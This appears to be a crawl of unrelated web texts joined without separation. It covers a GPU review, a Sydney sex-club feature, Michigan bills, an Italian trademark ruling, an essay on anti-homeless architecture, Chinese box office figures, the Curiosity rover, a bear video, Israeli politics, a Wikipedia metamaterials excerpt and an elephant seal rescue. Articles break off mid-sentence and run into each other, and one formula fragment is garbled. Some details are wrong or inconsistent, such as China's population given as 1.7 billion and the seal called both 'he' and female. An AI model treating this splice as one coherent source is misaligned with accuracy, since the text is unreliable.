Widening out the dual RX 480 tests to include Crossfire in other games and benchmarks throws up some interesting results. Again, to be clear, AMD never claimed that two RX 480s would be faster than a GTX 1080 in anything other than Ashes of the Singularity, but it is interesting to see Crossfire performance nonetheless. In 3DMark, for instance, the dual 480s are five percent slower than a single GTX 1080, the gap shrinking slightly to just over two percent at 4K. In Metro Last Light, the RX 480s are 17 percent slower than a GTX 1080 at 1080p, with the gap shrinking to around five percent at 4K.
While my second RX 480 had to be sent back to the publication I borrowed it from before I could conduct more tests (thanks, guys!), the folks over at TechPowerUp also managed to pull together some Crossfire benchmarks. It found that while the RX 480 fared well in certain games, on average it was much slower than a GTX 1080 and just slightly slower than a GTX 1070. Given that the 1070 costs roughly the same as a pair of 4GB RX 480s, buying them outright isn't a particularly good idea.
Buying a single RX 480 now and adding another at a later date is an option, but running two cards is nearly always the inferior solution to a single, more powerful GPU. Not all games support Crossfire or SLI, and even those that do don't necessarily scale that well.
This was to be expected, of course. While it's nice to see higher scores in 3DMark when running more than one graphics card, the reality has always been much messier. Games have to be developed with multiple GPU support in mind, and the vast majority aren't. DX12 promised that we'd be able to play games with any combination of graphics cards, but that too has gained little traction with developers.
Ultimately, the lesson is this: always take company claims with a pinch of salt, and if you are looking to promote a product, you can't go wrong with a bit of blood and guts. If nothing else, you'll get Daily Mail readers talking.IT’S women-only, risque, raunchy, a little R-rated, and it’s sashaying into Sydney.
Skirt Club — an exclusive, all-female sex club for bisexual and bi-curious women which began in London and now has branches in New York, Miami and Manchester launches in the Harbour City Sydney on June 29.
The first rule of Skirt Club is no men. While the idea of a play party of glamorous, curious women may be the stuff of straight male fantasy, boys are banned.
The other rules are no pictures, no pressure, and keeping confidentiality paramount.
After that, what happens at the secret club where attractive, open-minded women gather to explore their sexual curiosities with each other — is entirely up to those who attend.
And what happens is anything from straight out bonding to burlesque dancing, body shots and bondage, says Skirt Club co-director Renee Nyx.
Nyx is based in London but grew up in Sydney, and joined Skirt Club UK in late 2013 — attending the first Skirt Club founder Geneviève LeJeune held.
LeJeune had attended ‘play parties’ with her male partner, (now her ex) but felt she was doing things for his pleasure, not her own, and wanted a place of her own to experiment.
Nyx, who is bisexual, went along to see what the fuss was about.
Turns out she wasn’t the only one. Skirt Club now boasts a membership of about 5000, most of them in the UK, and in Sydney already has 50 members, largely through word of mouth.
Nyx says there is a demand for the club in Sydney — on a visit home last year it took only a few says and a series of swipes on dating app Tinder to find 35 women interested in the concept.
“There is truly not a place in Sydney at the moment that bi-curious and bisexual girls feel necessarily welcomed,” Nyx says.
“There is a very strong gay scene, and that is fantastic but there is a bit of intercommunity negativity towards this.
“Some bi-curious girls may not feel comfortable enough to go to a lesbian gathering. They might not be comfortable enough to date a gay girl, because they are thinking ‘you know what, I’m here to experiment, I don’t know what to do, I’m nervous’, so this an opportunity for women to explore in a safe environment and feel empowered.”
LeJeune was stunned by the popularity of the club when she set it up.
“Female bisexuality is nothing new, it has been common for centuries just never openly discussed,” she says.
“By spearheading a movement that gives women the freedom to choose, we have opened the door to public discussion. And it turns out women’s appreciation for one another is widely favourable.”
Skirt Club runs two levels of events — Mini Skirt — a ‘try it on for size’ post-work social event, usually in a bar, where newbies basically meet other women, and see what the concept is about.
Mini Skirt events are held every three or four weeks.
“There are no expectations at all — some women will honestly just go meet other women, they’ll connect and swap numbers perhaps for a date or a one-to-one catch-up or they might just go on their way,” says Nyx.
Others might be intrigued enough to try out the more risque side of Skirt Club: play parties, held about every six weeks, usually at private homes, which feature themed nights, guest speakers, ‘and of course, play’, Nyx says.
Again, says Nyx, there are no expectations.
But, she confesses, sexy entertainment like burlesque dancers, guest speakers (recently one party heard from a dominatrix), candles, music, fragrances, hostesses ensuring people are introduced to each other and are comfortable, cocktails and games like body shots set the scene: “It’s not just a sex club, but let’s say sex will happen... somewhere, if that’s what a member wants.”
“We do feel in many ways that this is quite empowering,” says Nyx.
“True independence comes from owning your sexuality — and feeling free to explore it.
For first-timers the experience can be intimidating. Newbies are given a vintage key charm, tied around the wrist with a black ribbon, both as a keepsake and as a subtle way of telling others they’re new to the game.
“What we offer is an environment in which to do that which is safe and non-threatening,” Nyx says.
“And it can be a scary thing to take that leap.”
Most Skirt Club members use pseudonyms to protect their privacy (Nyx is among them). Some have male partners, some are bisexual, some ‘just don’t know, and that’s why they’re here’.
“Some women are just trying it out. Some do it to say that they’ve lived a fantasy. Everyone is different,” Nyx says.
“It’s not that they want to identify as anything particularly, they are just thinking ‘I just want to see if this works for me’, Nyx says.
Skirt Club Sydney’s launch is a mini Skirt event is on June 29. To attend, you’ll need to apply — and survive the vetting process to be accepted as a member.
Details at the Skirt Club website.This photo provided by the Michigan House Republicans shows state Rep. Tom Barrett, third from left, standing with legislative staff, a bill supporter and a service dog as Gov. Rick Snyder signs Barrett's bill creating service dog registration on Oct. 20, 2015. (Photo: Photo provided)
LANSING – Seeing-eye dogs and other service animals can be tagged as a civil right, powdered alcohol is banned from Michigan stores, and more property and tax documents can be maintained electronically thanks to lawmakers representing Greater Lansing.
As of Monday, the start of the Legislature’s two-week deer-season-and-Thanksgiving break, the 11 Lansing-area legislators had introduced a combined 168 bills this term. Eighteen of those bills have been signed into law.
Laws recently autographed by Gov. Rick Snyder included:
Jones — who has introduced 53 bills thus far this term, more than any other Greater Lansing legislator — has two other bills awaiting Snyder’s signature: One would clarify how corrections, probation and parole officers prove eligibility to carry weapons in weapons-free zones. The other would allow longer truck-trailer combinations for trucks that haul other trucks.
Laws from Greater Lansing lawmakers signed earlier by Snyder protected military parents’ custody rights, gave local governments more control over troubled mobile home parks, and removed the term “crippled children” from Michigan statutes.
Among Greater Lansing lawmakers’ 148 still-pending bills is legislation that would prohibit the government from requiring doctors to provide patients with “information that is not medically accurate” (Hertel), prohibit the state from providing employee benefits to people who are not state workers’ spouses or dependents (Jones), and give a larger share of state roads money to local governments (state Rep. Andy Schor, D-Lansing).
Only three local lawmakers — state Reps. Tom Cochran, D-Mason, Tom Leonard, R-DeWitt Township, and Ben Glardon, R-Owosso — have had zero bills signed into law thus far this term. Those three also have introduced the fewest bills of any area legislators, with five each.
The local lawmaker with the highest rate of success this term is state Sen. Mike Nofs, R-Battle Creek, who’s introduced 10 bills and had three signed into law, for a 30% rate. He’s followed by Barrett, who’s had 27% of his 15 bills made into public acts, and Schor, who’s had about 14% of his 14 bills signed into law.
Across the Legislature, about 10% of 1,704 bills introduced this term — 1,080 in the House, 624 in the Senate — have been made into public acts. Seven bills are waiting for the governor’s pen.
Contact Justin A. Hinkley at (517) 377-1195 or jhinkley@lsj.com. Follow him on Twitter @JustinHinkley.
Greater Lansing lawmakers' bills
Bills introduced Bills now law State Sen. Curtis Hertel Jr., D-Meridian Township 29 2 State Sen. Rick Jones, R-Grand Ledge 53 4 State Sen. Mike Nofs, R-Battle Creek 10 3 State Rep. Andy Schor, D-Lansing 14 2 State Rep. Sam Singh, D-East Lansing 14 1 State Rep. Tom Cochran, D-Mason 5 0 State Rep. Tom Barrett, R-Potterville 15 4 State Rep. Tom Leonard, R-DeWitt Township 5 0 State Rep. Mike Callton, R-Nashville 11 1 State Rep. Ben Glardon, R-Owosso 5 0 State Rep. Brett Roberts, R-Eaton Township 7 1 TOTAL: 168 18 Total Legislature: 1,704 173
Read or Share this story: http://on.lsj.com/1j3fkcjAn Italian clothing company can be named for Apple co-founder Steve Jobs, an Italian court ruled Thursday. File Photo by John Angelillo/UPI | License Photo
Dec. 29 (UPI) -- Italian brothers Vincenzo and Giacomo Barbato on Thursday won the right to use 'Steve Jobs' for the name of their clothing company, after years of legal battles with electronics giant Apple.
The court said the Italian clothier can legally carry the name of the iconic tech executive because Apple never trademarked it.
The Barbato brothers chose the name "Steve Jobs" for their company in 2012. Apple responded with a lawsuit over the Italian company's logo -- a letter 'J' with a bite taken out of it, which is similar to the California-based organization.
The brothers said the judge ruled in their favor because their logo didn't represent something edible -- and, therefore, could not be a "bite."
The European Union Intellectual Property Office registered the name for the designers' company in 2014, and the duo only recently registered the name internationally.
The brothers already make jeans with "Steve Jobs" on the label and say they wouldn't mind expanding into the tech world, adding that the brand was "born absolutely for electronics."
Jobs co-founded Apple in 1976 with Steve Wozniak, left the company in 1985 to work on other ventures and returned in 1997. He died of cancer in 2011.Much of the contemporary discourse on urban design is rooted in acclaimed architectural theorist Oscar Newman’s influential 1973 book, Defensible Space. Newman believed that criminal and generally irresponsible behavior was facilitated by (typically modernist) “anonymous public spaces”—large disassociated corridors where it was impossible to tell residents from intruders. He advocated, instead, for buildings that would give residents a feeling of ownership and control. Whether or not one takes strangers as intruders or acclaimed activist Jane Jacobs’s watchful “eyes on the street,” these strategies have slowly fought their way into urban planning and policy.
Although problems of concentrated social disadvantage are more complex than any theory of space can account for, many policy makers, city councils and urban management have distilled Newman’s words into one idea: that certain activities can be ”designed out” of public (and private) spaces. And so can certain people.
This approach has developed to the extent that today we have whole industries focusing solely on products that keep out unwanted behavior, activities, and people. From the perspective of property owners and city administration, it might seem convenient to outsource caretaking of the space to architecture itself, a trend that requires no additional costs and no supervision: designers prevent unwelcome uses of areas and features with specifically-engineered shapes, materials, or other features.
Nils Norman Spikes similar to the ones seen outside some British department stores make loitering of any kind uncomfortable.
Take the famous anti-loitering Mosquito device, which emits an annoying sound only younger ears are able to hear, or the numerous anti-pigeon deterrents (see also our case study of anti-pigeon design). Probably the most infamous recent example has been the use of so-called anti-homeless spikes outside supermarkets in the United Kingdom. Although spokesmen for the British market chain Selfridges have claimed the spikes were meant to reduce litter, the forbidding studs have clear implications for anyone looking to sleep beneath the store’s protective ledges.
It hasn’t always been this way. In the 1980s, New York’s city council was advised by William H. Whyte, author of classic architectural tome The Social Life of Small Urban Spaces, on how to create inclusive and pleasant “spaces that work.” Whyte’s guidelines were in turn used to create incentives: developers who provided publicly accessible space were rewarded with more floor space or higher building permits. Whyte saw no problem in having a homeless person share the space with an office worker—to the contrary, he advocated diversity of urban experience and occupancy.
Nils Norman Besides being an eye-sore, these wrought iron additions serve no purpose other than to make a potentially pleasant space in New York City distinctly unpleasant.
More than a decade into the war on terror, however, this goodwill has mostly disappeared.
We feel increasingly threatened by the “other,” a fear that has influenced even seemingly innocuous public objects like public dustbins. The need to defend our cities from the homeless, the poor, the “antisocial” youth, the feral animals, etc. has escalated as well.
Skaters are growing more and more unwelcome everywhere outside skateparks, while storefronts are featuring dubious installations that prohibit sitting or sleeping. In at least one British mall, hoodies have been banned because they interfere with automated surveillance systems. In short, contemporary urban space is becoming micro-zoned for singular use-scenarios only.
A great example of this singularity of purpose is the London-designed Camden bench, which claims to incorporate 28 different contemporary street seating needs—most of which actively resist any behavior not related to sitting. Created in the name of “inclusive design,” these benches are supposed to encourage social interaction. Yet as a result, skating, hanging out (loitering), littering and of course sleeping is made impossible. Who, or what, benefits from this “inclusive” design?
Nils Norman This Camden bench in London has been designed to prevent multiple activities: a sloping edge makes sleeping or reclining on it uncomfortable, angles stop litter accumulating, and it has a fluctuating edge to prevent skateboarders.
Vulnerable homeless communities seem to be most at risk. While the latest anti-homeless installation in Selfridges, Manchester, caused widespread outrage, it is only one of many examples of such installations around the world. In June 2014, anti-homeless studs were installed in a London apartment block in Southwark Bridge Road. These were removed six days later by the developer following pressure from London’s mayor Boris Johnson among others. Around the same time, spikes were also removed from a Tesco storefront.
What is interesting here is the shifting idea of what is “acceptable.” Anti-homeless spikes have been used for quite some time, as documented by numerous city activists like Survival Group’s Anti-Sites. But nobody objected until pictures of the installations went viral on social media, prompting mainstream media outlets like the Guardian article to pay attention.
This is the brilliance of good defensive architectural design—it’s easy to miss unless you are part of the community being targeted.
Nils Norman Unobtrusive but effective anti-skating features in Bristol, England.
The mainstream media is ultimately not catering to the types of vulnerable populations defensive mechanisms most often focus on. Still, the good news is that more and more people seem unwilling to allow these populations to be punished and marginalized by the sidewalks and benches that make up their cities.
Ultimately, unpleasant design or defensive architecture doesn’t defend us from real threats: a systematic decay of privacy and anonymity in public interactions; overall surveillance and tracking; misuse of meta-data and other types of private information; structural threats to civil liberties through coupling of private interests and weak public institutions. These are the real threats to our society today.
As evidenced by the anti-homeless spikes backlash, people can affect change if they are willing and able to harness their collective power. So far, such attention has been both short-lived, and uninformed by historical and sociological precedent. This is why it is necessary to foster an educated approach to urban design, noting these examples and learning from them. “What attracts people is other people,” Whyte wrote. The least we as architects can do is to try to design pleasant spaces for people to share.
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.-- If the trailer is any indicator, this could become a cult classic; at least in Asia. Love the kung fu chops.
China's box office sales for 2012 hit a record 16.8 billion yuan, or around $2.7 billion. That's paltry for a nation of 1.7 billion, but considering the industry is only now starting to modernize, the future holds promise for entertainment in this up-n-coming middle class society.
In 2008, box office sales in China were a mere 4.8 billion yuan. The number jumped to more than 10 billion yuan in 2010 after witnessing a decline to 6 billion in 2009. In 2011, domestic and foreign movies took in over 13.1 billion yuan.
The bulk of the movie cash cow comes from Hollywood films, however.
A total of 303 movies were shown in Chinese theaters in 2012. The number of domestic movies accounted for three quarters of the total. They earned 8 billion, or 47.6 percent of the box office, according to a report by the Chongqing Economic Times. Only three Chinese movies, "Lost in Thailand", "Painted Skin: The Resurrection" and Jackie Chan's "Chinese Zodiac 12", made into the list of the top ten highest-grossing movies in the year. The rest were all American flicks.
James Cameron's "Titanic" in 3D took in 935 million yuan in China and was the year's highest-grossing foreign film. "Lost in Thailand" was number one overall.
See: Lost In Thailand Tops Titanic 3D In China -- The Los Angeles TimesAs NASA's Mars rover Curiosity prepares to use its rock-boring drill for the first time, engineers are troubleshooting an issue with the power tool that may affect the entire mission.
Curiosity's fast-spinning percussive drill should make it through the originally planned two-year prime mission, team members say. But at some point a bond in the drilling mechanism will fail, causing an electrical short that could threaten to knock out the entire rover.
"Unless you do something about it, all hell breaks loose electronically, because it takes our power bus and rattles it around," Curiosity chief engineer Rob Manning, of NASA's Jet Propulsion Laboratory in Pasadena, Calif., told SPACE.com in a video interview. "It's almost like the drill grabs the rover and shakes the whole thing electronically."
By the time the Curiosity team noticed the issue, it was too late in the planning of the mission to rework the drill and correct it, Manning said. But engineers were able to install a potential safety net just a month or two before the rover blasted off from Florida's Cape Canaveral Air Force Station in November 2011. [Video: Curiosity's Drill Will Break]
They bolted in an additional set of wires that could be used to keep Curiosity's power bus safe, by shorting it temporarily in advance of any big drill problems.
"So if this short happens on the spacecraft, it doesn't rattle around everybody," Manning said. "We've been testing all that — to see what's going on, to make sure it all works properly."
The $2.5 billion Curiosity rover landed inside Mars' huge Gale Crater on Aug. 5, kicking off a mission to determine if the Red Planet could ever have hosted microbial life. The percussive drill is a key part of this quest, allowing the six-wheeled robot to bore 1 inch (2.5 centimeters) into Martian rocks — deeper than any rover has been able to go before.
Curiosity has not used its drill on the Red Planet yet, but that should change soon. The mission team is currently looking for rocks that would make a suitable target for its first drilling operation, which scientists hope to complete before the Christmas holidays.
While the drill should last at least two years on Mars, Curiosity may be able to keep chugging around the Red Planet for far longer than that. The car-size rover's nuclear power source, for example, should be good for at least a decade, and perhaps much longer.
And NASA will keep funding Curiosity as long as possible. Last week, the agency announced that it would continue to operate Curiosity and its other Mars spacecraft as long as they're scientifically viable.
Follow SPACE.com on Twitter @Spacedotcom. We're also on Facebook & Google+.Kelly Murphy uploaded a video of a bear chasing her in Hakuba, Japan. She apparently didn't notice the bear until after filming the video. Kelly Murphy/YouTube Waking up Monday morning you may have seen the video that appears to show a snowboarder accidentally capturing footage of herself being chased by a bear.
Amidst all the shock and awe, quite an argument has developed over the video's authenticity.
Upon request for comment, Kelly Murphy insisted that the footage was genuine, telling The Independent:
"Yes the video is real! I didn't know anything was happening at the time but it's so scary to watch it back now! I think I'll stick to the runs with my friends from now on lol."
For those still doubtful, below are some reason viewers are suspicious:
The bear does seem to be consistently the same distance behind the snowboarder while in shot. It is then hidden before each time it changes position, whether exiting the frame or being covered by the boarder's helmet.
The speed at which the snowboarder is first travelling doesn't appear to be very fast, perhaps even one that a bear could surpass to catch up with her.
The video itself does appear to be a rather short and uneventful episode of snowboarding to film (excluding the bear's presence of course), although analysing the minds of Go Pro users isn't in our immediate interest.
One of the video's more jarring aspects is the sound. Of course the boarder is clearly mid-Rhianna sing-along with some expectedly stylish headphones and a fair wind is blowing. However, that bear is roaring loudly, frequently and as soon as it appears on camera.
Ms Murphy's YouTube channel boasts a couple of related, although bearless, videos of her boarding in similar clothing and surroundings to support the idea of a solo snowboarding holiday accompanied by Go Pro.
Her first videos were posted five days ago while the 'chase' appeared this morning. A long holiday, myriad footage to sift through or an extended editing process could be among the countless reasons for such a gap.Zionist Union MK Tzipi Livni on Tuesday said she views Donald Trump’s presidency as an “opportunity” for Israel, as it will force the Israeli government to formulate its policies vis-a-vis the Palestinians rather than painting Washington as the “bad cop” forcing its hand.
Speaking at the annual INSS conference, the former justice and foreign minister, who served in the high-level security cabinet during the 2014 Gaza war, also said Israel has no coherent policy in the Strip, and called for the release of a damning state comptroller report on the 50-day conflict.
“I’m going to surprise you, because I also see an opportunity, even a big opportunity” with Trump in office, she said.
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Livni’s comments came a day after Prime Minister Benjamin Netanyahu hailed Trump for ushering in a “change of approach” in the White House after eight years of “enormous pressure” from his predecessor, Barack Obama. Netanyahu and Trump spoke on the phone on Sunday evening, and the two are set to meet in Washington early next month, though a final date has yet to be set.
With Trump seemingly giving Israel more leeway, the Netanyahu government will have to lay down its positions, said Livni.
“If Israel can really do whatever it wants — it’s time that Israel decide what it wants,” she said.
The government will no longer be able to portray the White House as the “bad cop” coercing decisions opposed by its right-wing base, said Livni. “There is no one left in the government or in Washington to blame.”
The former peace negotiator also urged Netanyahu to drum up support in the Trump administration in Washington next month for the “important strategic” issues that would arise during peace talks, such as retaining the settlement blocs and blocking the Palestinian right of return.
Also during her speech, which came as a Knesset state control subcommittee was set to debate whether to release the full report on the Gaza war, Livni said she supported a full declassification, as the public had the right to know of the government’s failures.
“The problem with Operation Protective Edge was larger than the tunnels,” she said, referring to the cross-border passages used by Hamas fighters during the war to attack IDF soldiers, which were reportedly a major focus of the report. “Israel has no policy vis-a-vis Gaza and the IDF is desperate for one.”
The army came to the security cabinet during the war and demanded the government lay out a broader strategy on Gaza, she said. But “we are working with micro-tactics, extinguishing fires one after the other.”
The revised draft of State Comptroller Yosef Shapira’s report intensifies its criticism of Netanyahu and then-former defense minister Moshe Ya’alon while toning down its disapproval of the conduct of the Israel Defense Forces, according to leaks to Israeli media.
Shapira’s report found that despite Netanyahu’s claims to the contrary, the prime minister and Ya’alon did not properly inform the high-level security cabinet of the extent of |
κ {\displaystyle \kappa }, I is the identity matrix, N is a symmetric trace-free tensor, and J is an antisymmetric tensor. Such decomposition allows us to classify the reciprocal bianisotropic response and we can identify the following three main classes: (i) chiral media ( tr ( κ ) ≠ 0, N ≠ 0, J = 0 {\displaystyle \operatorname {tr} (\kappa )
eq 0,N
eq 0,J=0} ), (ii) pseudochiral media ( tr ( κ ) = 0, N ≠ 0, J = 0 {\displaystyle \operatorname {tr} (\kappa )=0,N
eq 0,J=0} ), (iii) omega media ( tr ( κ ) = 0, N = 0, J ≠ 0 {\displaystyle \operatorname {tr} (\kappa )=0,N=0,J
eq 0} ). Generally the chiral and/or bianisotropic electromagnetic response is a consequence of 3D geometrical chirality: 3D chiral metamaterials are composed by embedding 3D chiral structures in a host medium and they show chirality-related polarization effects such as optical activity and circular dichroism. The concept of 2D chirality also exists and a planar object is said to be chiral if it cannot be superposed onto its mirror image unless it is lifted from the plane. On the other hand, bianisotropic response can arise from geometrical achiral structures possessing neither 2D nor 3D intrinsic chirality. Plum et al. [38] investigated extrinsic chiral metamaterials where the magneto-electric coupling results from the geometric chirality of the whole structure and the effect is driven by the radiation wave vector contributing to the overall chiral asymmetry (extrinsic electromagnetic chiralilty). Rizza et al. [39] suggested 1D chiral metamaterials where the effective chiral tensor is not vanishing if the system is geometrically one-dimensional chiral (the mirror image of the entire structure cannot be superposed onto it by using translations without rotations).
Chiral [ edit ]
Chiral metamaterials are constructed from chiral materials in which the effective parameter k is non-zero. This is a potential source of confusion as the metamaterial literature includes two conflicting uses of the terms left- and right-handed. The first refers to one of the two circularly polarized waves that are the propagating modes in chiral media. The second relates to the triplet of electric field, magnetic field and Poynting vector that arise in negative refractive index media, which in most cases are not chiral.
Wave propagation properties in chiral metamaterials demonstrate that negative refraction can be realized in metamaterials with a strong chirality and positive ε and μ.[40] [41] This is because the refractive index has distinct values for left and right, given by
n = ϵ r μ r ± κ {\displaystyle n={\sqrt {\epsilon _{r}\mu _{r}}}\pm \kappa }
It can be seen that a negative index will occur for one polarization if κ > √ε r µ r. In this case, it is not necessary that either or both ε r and µ r be negative for backward wave propagation.[5]
FSS based [ edit ]
Frequency selective surface-based metamaterials block signals in one waveband and pass those at another waveband. They have become an alternative to fixed frequency metamaterials. They allow for optional changes of frequencies in a single medium, rather than the restrictive limitations of a fixed frequency response.[42]
Other types [ edit ]
Elastic [ edit ]
These metamaterials use different parameters to achieve a negative index of refraction in materials that are not electromagnetic. Furthermore, "a new design for elastic metamaterials that can behave either as liquids or solids over a limited frequency range may enable new applications based on the control of acoustic, elastic and seismic waves."[43] They are also called mechanical metamaterials.[citation needed]
Acoustic [ edit ]
Acoustic metamaterials control, direct and manipulate sound in the form of sonic, infrasonic or ultrasonic waves in gases, liquids and solids. As with electromagnetic waves, sonic waves can exhibit negative refraction.[14]
Control of sound waves is mostly accomplished through the bulk modulus β, mass density ρ and chirality. The bulk modulus and density are analogs of permittivity and permeability in electromagnetic metamaterials. Related to this is the mechanics of sound wave propagation in a lattice structure. Also materials have mass and intrinsic degrees of stiffness. Together, these form a resonant system and the mechanical (sonic) resonance may be excited by appropriate sonic frequencies (for example audible pulses).
Structural [ edit ]
Structural metamaterials provide properties such as crushability and light weight. Using projection micro-stereolithography, microlattices can be created using forms much like trusses and girders. Materials four orders of magnitude stiffer than conventional aerogel, but with the same density have been created. Such materials can withstand a load of at least 160,000 times their own weight by over-constraining the materials.[44][45]
A ceramic nanotruss metamaterial can be flattened and revert to its original state.[46]
Nonlinear [ edit ]
Metamaterials may be fabricated that include some form of nonlinear media, whose properties change with the power of the incident wave. Nonlinear media are essential for nonlinear optics. Most optical materials have a relatively weak response, meaning that their properties change by only a small amount for large changes in the intensity of the electromagnetic field. The local electromagnetic fields of the inclusions in nonlinear metamaterials can be much larger than the average value of the field. Besides, remarkable nonlinear effects have been predicted and observed if the metamaterial effective dielectric permittivity is very small (epsilon-near-zero media).[47][48][49] In addition, exotic properties such as a negative refractive index, create opportunities to tailor the phase matching conditions that must be satisfied in any nonlinear optical structure.
Frequency bands [ edit ]
Terahertz [ edit ]
Terahertz metamaterials interact at terahertz frequencies, usually defined as 0.1 to 10 THz. Terahertz radiation lies at the far end of the infrared band, just after the end of the microwave band. This corresponds to millimeter and submillimeter wavelengths between the 3 mm (EHF band) and 0.03 mm (long-wavelength edge of far-infrared light).
Photonic [ edit ]
Photonic metamaterial interact with optical frequencies (mid-infrared). The sub-wavelength period distinguishes them from photonic band gap structures.[50][51]
Tunable [ edit ]
Tunable metamaterials allow arbitrary adjustments to frequency changes in the refractive index. A tunable metamaterial expands beyond the bandwidth limitations in left-handed materials by constructing various types of metamaterials.
Plasmonic [ edit ]
Plasmonic metamaterials exploit surface plasmons, which are produced from the interaction of light with metal-dielectrics. Under specific conditions, the incident light couples with the surface plasmons to create self-sustaining, propagating electromagnetic waves known as surface plasmon polaritons.
Applications [ edit ]
Metamaterials are under consideration for many applications.[52] Metamaterial antennas are commercially available.
In 2007, one researcher stated that for metamaterial applications to be realized, energy loss must be reduced, materials must be extended into three-dimensional isotropic materials and production techniques must be industrialized.[53]
Antennas [ edit ]
Metamaterial antennas are a class of antennas that use metamaterials to improve performance.[13][15][54][55] Demonstrations showed that metamaterials could enhance an antenna's radiated power.[13][56] Materials that can attain negative permeability allow for properties such as small antenna size, high directivity and tunable frequency.[13][15]
Absorber [ edit ]
A metamaterial absorber manipulates the loss components of metamaterials' permittivity and magnetic permeability, to absorb large amounts of electromagnetic radiation. This is a useful feature for photodetection[57][58] and solar photovoltaic applications[59]. Loss components are also relevant in applications of negative refractive index (photonic metamaterials, antenna systems) or transformation optics (metamaterial cloaking, celestial mechanics), but often are not utilized in these applications.
Superlens [ edit ]
A superlens is a two or three-dimensional device that uses metamaterials, usually with negative refraction properties, to achieve resolution beyond the diffraction limit (ideally, infinite resolution). Such a behaviour is enabled by the capability of double-negative materials to yield negative phase velocity. The diffraction limit is inherent in conventional optical devices or lenses.[60][61]
Cloaking devices [ edit ]
Metamaterials are a potential basis for a practical cloaking device. The proof of principle was demonstrated on October 19, 2006. No practical cloaks are publicly known to exist.[62][63][64][65][66][67]
RCS (Radar Cross Section) reducing metamaterials [ edit ]
Conventionally, the RCS has been reduced either by Radar absorbent material (RAM) or by purpose shaping of the targets such that the scattered energy can be redirected away from the source. While RAMs have narrow frequency band functionality, purpose shaping limits the aerodynamic performance of the target. More recently, metamaterials or metasurfaces are synthesized that can redirect the scattered energy away from the source using either array theory[68][69][70] or generalized Snell's law.[71][72] This has led to aerodynamically favorable shapes for the targets with the reduced RCS.
Seismic protection [ edit ]
Seismic metamaterials counteract the adverse effects of seismic waves on man-made structures.[10][73][74]
Sound filtering [ edit ]
Metamaterials textured with nanoscale wrinkles could control sound or light signals, such as changing a material's color or improving ultrasound resolution. Uses include nondestructive material testing, medical diagnostics and sound suppression. The materials can be made through a high-precision, multi-layer deposition process. The thickness of each layer can be controlled within a fraction of a wavelength. The material is then compressed, creating precise wrinkles whose spacing can cause scattering of selected frequencies.[75][76]
Theoretical models [ edit ]
All materials are made of atoms, which are dipoles. These dipoles modify light velocity by a factor n (the refractive index). In a split ring resonator the ring and wire units act as atomic dipoles: the wire acts as a ferroelectric atom, while the ring acts as an inductor L, while the open section acts as a capacitor C. The ring as a whole acts as an LC circuit. When the electromagnetic field passes through the ring, an induced current is created. The generated field is perpendicular to the light's magnetic field. The magnetic resonance results in a negative permeability; the refraction index is negative as well. (The lens is not truly flat, since the structure's capacitance imposes a slope for the electric induction.)
Several (mathematical) material models frequency response in DNGs. One of these is the Lorentz model, which describes electron motion in terms of a driven-damped, harmonic oscillator. The Debye relaxation model applies when the acceleration component of the Lorentz mathematical model is small compared to the other components of the equation. The Drude model applies when the restoring force component is negligible and the coupling coefficient is generally the plasma frequency. Other component distinctions call for the use of one of these models, depending on its polarity or purpose.[4]
Three-dimensional composites of metal/non-metallic inclusions periodically/randomly embedded in a low permittivity matrix are usually modeled by analytical methods, including mixing formulas and scattering-matrix based methods. The particle is modeled by either an electric dipole parallel to the electric field or a pair of crossed electric and magnetic dipoles parallel to the electric and magnetic fields, respectively, of the applied wave. These dipoles are the leading terms in the multipole series. They are the only existing ones for a homogeneous sphere, whose polarizability can be easily obtained from the Mie scattering coefficients. In general, this procedure is known as the "point-dipole approximation", which is a good approximation for metamaterials consisting of composites of electrically small spheres. Merits of these methods include low calculation cost and mathematical simplicity.[77][78]
Other first principles techniques for analyzing triply-periodic electromagnetic media may be found in Computing photonic band structure
Institutional networks [ edit ]
MURI [ edit ]
The Multidisciplinary University Research Initiative (MURI) encompasses dozens of Universities and a few government organizations. Participating universities include UC Berkeley, UC Los Angeles, UC San Diego, Massachusetts Institute of Technology, and Imperial College in London. The sponsors are Office of Naval Research and the Defense Advanced Research Project Agency.[79]
MURI supports research that intersects more than one traditional science and engineering discipline to accelerate both research and translation to applications. As of 2009, 69 academic institutions were expected to participate in 41 research efforts.[80]
Metamorphose [ edit ]
The Virtual Institute for Artificial Electromagnetic Materials and Metamaterials "Metamorphose VI AISBL" is an international association to promote artificial electromagnetic materials and metamaterials. It organizes scientific conferences, supports specialized journals, creates and manages research programs, provides training programs (including PhD and training programs for industrial partners); and technology transfer to European Industry.[81][82]
See also [ edit ]Elephant seal crossing road causes North Bay traffic mess
Marine Mammal Center volunteers and the California Highway patrol attempt to corral an elephant seal that attempted to cross Highway 37 in Marin. Marine Mammal Center volunteers and the California Highway patrol attempt to corral an elephant seal that attempted to cross Highway 37 in Marin. Image 1 of / 20 Caption Close Elephant seal crossing road causes North Bay traffic mess 1 / 20 Back to Gallery
Wildlife experts and California Highway Patrol officers teamed up for an unusual rescue in the North Bay on Monday afternoon after a truculent elephant seal tried to cross a highway and resisted efforts to direct it back into the water, officials said.
Just after 1 p.m., the CHP got calls reporting that a seal was blocking the slow lane of Highway 37 near Sears Point in Sonoma County, officials said.
A few minutes later a caller told the CHP that the seal was attacking a vehicle, though that report could not be confirmed. At one point, passing motorists stopped to take pictures of the seal, further complicating traffic matters on the busy two-lane highway.
The Marine Mammal Center, based in Sausalito, dispatched a rescue team, as did the San Pablo Bay National Marine Sanctuary. The CHP was also working with the California Department of Fish and Wildlife to persuade the seal to swim off to greener pastures.
The pinniped, which CHP Officer Andrew Barclay described as a “very large, very determined elephant seal,” was successfully ushered into the bay at one point. But unconvinced that he was better off there than on land, the animal again attempted to cross the road.
“He’s back in the water now, “ Barclay said later. “But he seems very committed to crossing the roadway. Every time we get him in the water he waits until we walk away and he’s right back up on land.”
The seal, a hefty female adult, weighs up to half a ton, which “complicates the rescue” said Laura Sherr, a spokeswoman for the Marine Mammal Center.
CHP stopped tracking the seal shortly after 7 p.m. because of nightfall.
As of about 5 p.m., the seal had yet to swim away, and officials said the animal, which did not appear to be injured, was circling closer and closer to the freeway. A team of Marine Mammal Center staffers were hiding nearby with a crate at the ready.
Although CHP personnel were planning to leave the scene, Barclay said they would be on standby for the evening. He added that because the tide was getting lower, the seal’s ability to leave the water was decreasing.
Staffers for the center would remain on call throughout the night, and one staff member planned to return early in the morning when the tide changes to check on the situation.
“Normally, we don’t respond at night, but this is one of those rare public-safety situations where we might go out,” Sherr said. “Ideally, the animal will just depart at night on her own.”
